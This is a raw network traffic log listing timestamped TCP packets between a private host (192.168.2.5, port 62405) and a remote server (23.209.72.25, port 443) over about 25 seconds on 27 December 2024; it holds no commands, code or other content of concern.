Dec 27, 2024 08:21:02.485693932 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.555453062 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.562253952 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.562556982 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:02.562722921 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.562834024 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.562885046 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563000917 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563189030 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563261032 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563271999 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563355923 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563364983 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563374996 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563472986 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563635111 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563643932 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563925982 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563937902 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.563946009 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.564173937 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:02.585627079 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:02.908958912 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.919764042 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.919910908 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.919923067 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.919933081 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.919944048 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.920073986 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.920085907 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.920104027 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.920115948 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.920126915 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.920137882 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.920149088 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:02.920171976 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:02.920361042 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:02.955701113 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:03.015578985 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:03.268110991 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.339118958 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.344409943 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.344734907 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.344820976 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:03.344854116 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.344928980 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345014095 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345068932 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345081091 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345194101 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345206976 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345309019 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345320940 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345333099 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345427036 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345438957 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345504045 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345577955 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345590115 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345601082 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345614910 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.345681906 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:03.360093117 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.360141039 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.360153913 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.360233068 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.360244036 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.360384941 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:03.392834902 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:03.455369949 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:03.692162991 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.778693914 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.784466982 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.784667015 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.784733057 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.784743071 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.784826994 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.784835100 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:03.784837961 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.784924030 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.784933090 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.784943104 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.785073996 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.785084963 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.785104036 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.785114050 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.785124063 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.785223007 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:03.785518885 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:03.816564083 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:03.817080975 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:04.132093906 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:04.140674114 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:04.146275043 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:04.146579981 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:04.146617889 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:04.146631002 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:04.146768093 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:04.146780014 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:04.146790981 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:04.147001982 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:04.179148912 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:04.494178057 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:13.301801920 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:13.625154972 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:13.630608082 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:13.630626917 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:13.630717039 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:13.630985022 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:13.638817072 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:13.962529898 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:13.967624903 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:13.967643976 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:13.967684984 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:13.968019009 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:13.977514029 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:14.300578117 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:14.306915045 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:14.306929111 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:14.306938887 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:14.307401896 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:14.315648079 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:14.641798973 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:14.646981955 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:14.647233963 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:14.647392988 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:14.647393942 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:14.656097889 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:14.979365110 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:14.986057043 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:14.986080885 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:14.986092091 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:14.986465931 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:14.995569944 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:15.318686962 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:15.325390100 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:15.325413942 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:15.325467110 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:15.325778961 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:15.334441900 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:15.658082008 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:15.663985014 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:15.664006948 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:15.664287090 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:15.664419889 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:15.672264099 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:15.998342991 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:16.003513098 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:16.003587961 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:16.003671885 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:16.003859043 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:16.012753963 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:16.336333990 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:16.342068911 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:16.342082024 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:16.342180967 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:16.342459917 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:16.349687099 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:16.672897100 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:16.679069996 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:16.679085016 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:16.679167986 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:16.679461956 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:16.687885046 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:17.011065006 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:17.017967939 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:17.017980099 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:17.018013000 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:17.018428087 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:17.025602102 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:17.348893881 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:17.355762005 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:17.355784893 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:17.355798006 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:17.356061935 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:17.363840103 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:17.687074900 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:17.694006920 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:17.694025993 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:17.694118023 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:17.694343090 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:17.701684952 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:18.024957895 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:18.031387091 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:18.031404972 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:18.031492949 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:18.031821966 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:18.040553093 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:18.371481895 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:18.377300978 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:18.377317905 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:18.377423048 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:18.377774000 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:18.391427040 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:18.714576006 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:18.721138954 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:18.721179962 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:18.721308947 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:18.721630096 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:18.728868008 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:19.052115917 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:19.058182955 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:19.058206081 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:19.058314085 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:19.060482025 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:19.067395926 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:19.433598042 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:19.454615116 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:19.454632044 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:19.454644918 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:19.455239058 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:19.466000080 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:19.826255083 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:19.839617014 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:19.839631081 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:19.839715004 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:19.839981079 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:19.847328901 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:20.170689106 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:20.177750111 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:20.177772045 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:20.177860975 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:20.178282976 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:20.186145067 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:20.510008097 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:20.515805006 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:20.515821934 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:20.515897989 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:20.516154051 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:20.524019003 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:20.847503901 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:20.854043007 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:20.854094982 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:20.854185104 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:20.854561090 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:20.864221096 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:21.296787977 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:21.297817945 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:21.297887087 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:21.297935009 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:21.298229933 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:21.308276892 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:21.631603956 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:21.638298988 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:21.638309956 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:21.638317108 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:21.638910055 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:21.647985935 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:21.971707106 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:21.976227045 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:21.976263046 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:21.976320028 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:21.976692915 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:21.990314960 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:22.314985991 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:22.320106983 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:22.320118904 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:22.320220947 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:22.320549965 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:22.328285933 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:22.651572943 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:22.657941103 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:22.657951117 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:22.658221960 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:22.658431053 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:22.664992094 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:22.988255978 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:22.993972063 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:22.994086981 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:22.994102001 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:22.994440079 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:23.001415968 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:23.324697971 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:23.329849958 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:23.329864979 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:23.330171108 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:23.330189943 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:23.337934971 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:23.661139011 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:23.667777061 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:23.667922974 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:23.668005943 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:23.668020010 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:23.668054104 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:23.675549030 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:24.000760078 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:24.004443884 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:24.004472971 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:24.004499912 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:24.004762888 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:24.015142918 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:24.339704990 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:24.346098900 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:24.346132994 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:24.346204996 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:24.346429110 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:24.353744984 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:24.677380085 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:24.683995008 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:24.684020996 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:24.684119940 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:24.684324026 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:24.691704035 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:25.027046919 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:25.034123898 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:25.034163952 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:25.034178972 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:25.034461021 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:25.043191910 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:25.378525019 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:25.384962082 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:25.385032892 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:25.385096073 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:25.385461092 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:25.393999100 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:25.717881918 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:25.724690914 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:25.724725962 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:25.724843025 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:25.725011110 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:25.732652903 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:26.056107998 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:26.061899900 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:26.061932087 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:26.061980963 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:26.062340975 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:26.069155931 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:26.393800974 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:26.399454117 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:26.399511099 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:26.399539948 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:26.400019884 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:26.412870884 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:26.736387968 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:26.743355036 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:26.743374109 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:26.743386984 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:21:26.743845940 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:26.750741959 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:21:27.074064970 CET	443	62405	23.209.72.25	192.168.2.5
